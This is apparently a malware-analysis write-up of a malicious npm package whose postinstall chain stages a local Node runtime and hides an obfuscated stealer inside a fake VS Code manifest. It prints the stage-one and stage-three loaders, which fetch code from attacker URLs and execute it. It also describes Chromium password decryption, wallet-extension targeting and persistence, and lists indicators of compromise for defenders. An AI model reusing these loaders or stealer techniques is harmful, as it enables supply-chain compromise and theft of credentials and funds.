A Tiny npm Loader With a Much Bigger Payload

A five-stage npm postinstall chain that builds a local Node runtime, disguises an obfuscated implant as a VS Code manifest, and targets credentials, wallets, SSH material, and files.

8/26/20269 min read
On this page
Artifactly investigation workspace for commonjs-code-token version 1.0.1
Artifactly investigationPackage metadata, findings, and retained detailsView investigation ↗

Overview

I thought this npm package was going to be a pretty straightforward stager. It was not.

This package starts as a tiny postinstall script and turns into a five-stage chain. The package reaches out to a remote server, gets a "token", and evaluates it. That code creates a per-user .vs_cache directory, writes another loader and a package.json, installs its own Node dependencies, and launches the next stage in the background.

From there, another loader fetches a large JSON response made to look like a VS Code Python extension manifest. The interesting part is a custom sessions property containing one extremely long line of obfuscated JavaScript.

Once that is deobfuscated, the final stage is much more capable than I expected. It profiles the host, registers with remote infrastructure, searches browser databases, wallet-extension storage, SSH locations, and other files, decrypts Chromium passwords where possible, uploads selected data, downloads platform-specific helpers, and contains persistence and detached-worker logic. The whole works!

Execution chain from npm installation through data exfiltration

Stage 1

Stage 1 is tiny. The package calls a Vercel app, stores JSON response as a "token", and immediately executes it:

module.exports = (async () => {
  const res = await fetch("https://galaxy-main.vercel.app/");
  const { token } = await res.json();
  eval(token);
})();

There was also a small but useful change between package versions.

Artifactly's comparison of 1.0.0 and 1.0.1 shows changes to index.js and package.json. The retained diff shows the earlier version using:

const res = await fetch("https://access-token-delta.vercel.app");

and version 1.0.1 using:

const res = await fetch("https://galaxy-main.vercel.app/");

The delivery endpoint changed between versions, but the loader itself did not: fetch JSON, extract token, evaluate token.

Because this runs through npm's postinstall lifecycle, that first step happens as part of package installation.

Stage 2: the installer builds a local runtime

The returned blob is an obfuscated installer. Instead of doing the stealing itself, it prepares a local runtime for the later stages.

It creates a per-user .vs_cache directory and writes files equivalent to:

const cacheDir = path.join(os.homedir(), ".vs_cache");
const mainScript = path.join(cacheDir, "main.js");
const mainVbs = path.join(cacheDir, "main.vbs");

It also writes a private package.json with dependencies:

{
  "axios": "latest",
  "better-sqlite3": "13.0.3",
  "node-machine-id": "latest",
  "socket.io-client": "latest"
}

On Windows it adds:

{
  "@primno/dpapi": "latest",
  "koffi": "3.1.2"
}

The dependency list was one of the first places this started getting interesting. A few of these immediately hint at what the later payload wants to do, and I ended up learning a bit about some of them while working through this.

axios
HTTP requests and later-stage retrieval
better-sqlite3
Direct access to browser SQLite databases
node-machine-id
Host identity
socket.io-client
Persistent socket communication
@primno/dpapi
Windows Chromium-key recovery
koffi
Native Windows interoperability

The installer then runs npm inside the staging directory and launches the next script detached. On Windows, it prefers a hidden VBS/wscript.exe path when available, with detached Node execution as a fallback.

So Stage 2 is mostly the setup. Build the working directory, install the malware's dependencies, and hand execution off to the next loader.

Stage 3

Stage 3 gets small again. Its whole job is to fetch another JSON response, pull out the sessions property, and compile that string as CommonJS code.

const axios = require("axios");

async function load() {
  const manifest = (await axios.get(
    "https://kkhf7a.s.gy/1c1a1aa0698ec60f"
  )).data.sessions;

  const compiled = new Function(
    "require",
    "module",
    "exports",
    "__dirname",
    "__filename",
    manifest
  );

  compiled(require, module, exports, __dirname, __filename);
}

load();

The short URL redirects to 45[.]59.163.43, where the next stage is served.

HTTP redirect from the short URL to the payload server

Stage 4: a VS Code-style manifest is used as a container

This response is where the chain gets weird. It is a large JSON object made to look like a VS Code extension manifest, complete with metadata associated with a Python environment extension:

VS Code Python Environments metadata in the JSON response
  • name: vscode-python-envs
  • display name: Python Environments
  • version: 1.30.0
  • publisher: ms-python
  • main entrypoint: dist/extension.js
  • Python commands, views, menus, and settings

Buried inside that otherwise normal-looking manifest is a sessions key whose value is an extremely long blob of obfuscated JavaScript.

The obfuscated sessions property embedded in the manifest-like response

I am not entirely sure why the actor chose a VS Code manifest as the wrapper. It does not need to behave like a real extension for this chain to work. Either way, this is where the actual implant is hiding.

Stage 5: the sessions agent

By Stage 5, this thing has turned into a full cross-platform stealer/backdoor. It goes after browser credentials, wallet-extension data, SSH material, and other files, it talks to C2 infrastructure, uploads collected data, downloads additional helpers, and includes persistence, detached workers, and cleanup behavior.

Host profiling

One of the first things the final payload does is build a fairly detailed profile of the machine, including:

  • username and hostname;
  • operating system and version;
  • CPU information;
  • MAC-address vendor hints;
  • BIOS, chassis, board, and product information;
  • virtualization indicators;
  • cloud-provider fingerprints.

There are separate branches for Windows, macOS, and Linux. The code also recognizes virtualization and cloud environments including VMware, VirtualBox, Parallels, Hyper-V, KVM/QEMU, AWS, GCP, DigitalOcean, Vultr, Hetzner, and others.

C2 and registration

The C2 side uses both HTTP and Socket.IO. The code references routes for:

  • registration;
  • upload;
  • platform-specific downloads;
  • status and telemetry;
  • a persistent client channel.

The visible route names include:

/register
/upload
/download-nsm
/download-app
/download-win-key
/download-mac-key
/download-linux-key

It also reports CPU, memory, and network performance, so the registration/profile data is not limited to a basic hostname and OS check.

Browser credential theft

The browser credential code is one of the clearest parts of the payload.

It references Chromium-family files and fields including:

  • Local State
  • Login Data
  • origin_url
  • action_url
  • username_value
  • password_value
  • the logins SQLite table.

The embedded helper contains a query:

SELECT origin_url, action_url, username_value, password_value
FROM logins

On Windows, the payload reads encrypted_key from Chromium's Local State file and uses DPAPI related logic to recover the browser's master key. From there it contains AES-GCM and legacy-style password decryption paths.

The collection routine copies Login Data to a temporary file, writes a helper script, launches a child process to read the database, captures the result, and removes the temporary files afterward.

At least from static analysis, this is very clearly built to steal saved Chromium credentials.

Browser-extension and wallet targeting

The payload also contains 70 hardcoded Chromium-style extension IDs and uses them to build paths equivalent to:

<browser profile>/Default/Local Extension Settings/<extension-id>

It recognizes generic extension paths as well as browser roots for Chrome, Brave, Opera, Yandex, and Edge.

The target list is heavily weighted toward cryptocurrency wallets. It includes MetaMask, Phantom, Rabby, Coinbase Wallet, Trust Wallet, Binance/BNB Chain, OKX, Solflare, Keplr, Sui/Slush, TON wallets, Aptos wallets, Polkadot wallets, and a long list of chain-specific wallets.

SSH and general file collection

SSH data is another clear target. The code recognizes paths and material including:

  • .ssh directories
  • private and public identity files
  • known_hosts
  • SSH configuration
  • shell history
  • ssh, scp, and sftp-related paths.

Some cleanup filenames are still uncertain because they remain hidden behind decoder lookups, but the SSH targeting itself is clear.

Beyond SSH, the file collector walks selected directories including the user's home directory and platform-specific roots. It can inspect Windows drive letters and additional Linux paths, skip excluded locations, assign priorities, and queue files for upload.

File upload and exfiltration

The upload system supports:

  • generated upload IDs
  • file metadata
  • path encoding in request headers
  • file size and priority headers
  • retry logic
  • completion checks
  • concurrent upload workers
  • a detached backup child.

There is an explicit upload route and code for submitting selected files.

Downloaded platform helpers

The implant can also pull down platform-specific helpers. The download logic validates the response, writes the file locally, sets permissions where needed, clears macOS quarantine metadata, and then launches it.

Windows-specific references include:

  • Service.exe
  • client32.ini
  • CKSINI.EXE
  • PowerShell
  • WMI-related checks
  • service and startup management.

Persistence and cleanup

Persistence is implemented differently depending on the platform:

  • Windows Run keys and StartupApproved entries
  • CMD/VBS startup files
  • macOS LaunchAgents
  • Linux autostart desktop entries.

The code also tracks PIDs, launches detached processes, supports a backup worker, and removes temporary files, locks, staged payloads, and persistence artifacts during cleanup or uninstall paths.

For the wallet targeting, this malware wants it all.

Ethereum and multichain
MetaMask, Rabby, Coinbase, Trust, OKX, Binance, Rainbow
Solana
Phantom, Solflare
Cosmos and related chains
Keplr, Leap, SubWallet
Aptos and Sui
Petra, Pontem, Ethos, Sui/Slush
TON
TON Wallet, Tonkeeper, MyTonWallet, OpenMask
Polkadot/Substrate
Talisman, Polkadot.js, SubWallet
Chain-specific wallets
ICONex, Ronin, Reef, Hana, Namada, Sender
Uncertain entries
Five unresolved IDs and one low-confidence XMR/Coinhive-related ID

Full extension-ID translation table

The payload contains 70 hard-coded Chromium extension IDs, heavily weighted toward cryptocurrency wallets. I’ve included the full ID-to-wallet mapping on GitHub for anyone who wants to dig through the complete target list.

View the full extension-ID translation table on GitHub.

Conclusion

The package appears to have been removed from npm quickly, but I don't imagine this is the last time we'll see it. The chain is modular enough that the package name, URLs, VS Code-style wrapper, or downloaded helpers could all change while much of the same backend and final-stage behavior stayed useful.

Indicators of Compromise

Package and network indicators

PackageMalicious npm package
commonjs-code-token@1.0.1
SHA-256Package hash
c2440339b7c26871495715b24a6a62a7feba369604099e65dd594bbd172c8fc0
LifecycleInitial execution
postinstall: node index.js
URLVersion 1.0.1 delivery
hxxps://galaxy-main[.]vercel[.]app/
URLVersion 1.0.0 delivery
hxxps://access-token-delta[.]vercel[.]app/
URLRedirector
hxxps://kkhf7a[.]s[.]gy/1c1a1aa0698ec60f
IP:portPayload server
45.59.163.43:5000
URL pathClient channel
/client
IP:portRemote infrastructure
45.59.163.43:5056
URL pathHelper download
/download-app
URL pathWindows helper
/download-win-key
URL pathmacOS helper
/download-mac-key
URL pathLinux helper
/download-linux-key
IP:portRemote infrastructure
5.83.138.155:3011
URL pathHost registration
/register
URL pathData exfiltration
/upload
URL pathHelper download
/download-nsm
ServiceExternal IP profiling
hxxp://ip-api[.]com/json/
ServiceExternal IP profiling
hxxps://freeipapi[.]com/api/json

Host and file indicators

DirectoryPer-user staging
~/.vs_cache/
FileNested loader
~/.vs_cache/main.js
FileWindows launcher
~/.vs_cache/main.vbs
FileDependency manifest
~/.vs_cache/package.json
FileAgent logging
~/.vs_cache/log.log
PatternTemporary browser database
*vs_login*
PatternTemporary browser database
*vs_logindb*
FileWindows service or agent
Service.exe
FileWindows agent configuration
client32.ini
FileService management
CKSINI.EXE
RegistryWindows persistence
HKCU / Software / Microsoft / Windows / CurrentVersion / Run
RegistryStartup approval state
HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / StartupApproved / Run
DirectorymacOS persistence
~/Library/LaunchAgents/
DirectoryLinux persistence
~/.config/autostart/
ModuleC2/control channel
socket.io-client
ModuleBrowser database access
better-sqlite3
ModuleWindows DPAPI access
@primno/dpapi
ModuleNative Windows interop
koffi
ModuleHost identity
node-machine-id

More analysis of mine